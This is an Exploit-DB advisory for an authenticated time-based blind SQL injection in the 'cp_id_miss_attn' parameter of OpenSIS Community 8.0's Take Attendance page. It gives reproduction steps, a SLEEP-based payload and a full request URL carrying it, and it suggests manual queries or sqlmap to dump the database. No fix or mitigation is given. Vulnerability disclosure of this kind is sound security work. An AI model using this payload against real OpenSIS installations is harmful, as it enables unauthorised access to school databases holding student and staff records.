OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection

EDB-ID:

50249

CVE:

N/A




Platform:

PHP

Date:

2021-09-02


# Exploit Title: OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection 
# Date: 09/01/2021
 # Exploit Author: Eric Salario 
# Vendor Homepage: http://www.os4ed.com/ 
# Software Link: https://opensis.com/download 
# Version: 8.0 
# Tested on: Windows, Linux 

A SQL injection vulnerability exists in the Take Attendance functionality of OS4Ed's OpenSIS 8.0. allows an attacker to inject their own SQL query. The cp_id_miss_attn parameter from TakeAttendance.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request as a user with access to "Take Attendance" functionality to trigger this vulnerability. 

Steps to reproduce: 

1. Login as "Teacher" and navigate to "Attendance" then "Take Attendance". Capture the request on a web proxy such as BurpSuite Or just navigate to the URL: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=27&cpv_id_miss_attn=23&ajax=true 

Vulnerable parameter: cp_id_miss_attn 

SQLi payload: r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq) 

URL with the payload: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)&cpv_id_miss_attn=23&ajax=true 2. 

The page should load depends on the sleep You can use manual queries to dump database information or use sqlmap. 

PoC: https://youtu.be/GGHiPvdPRas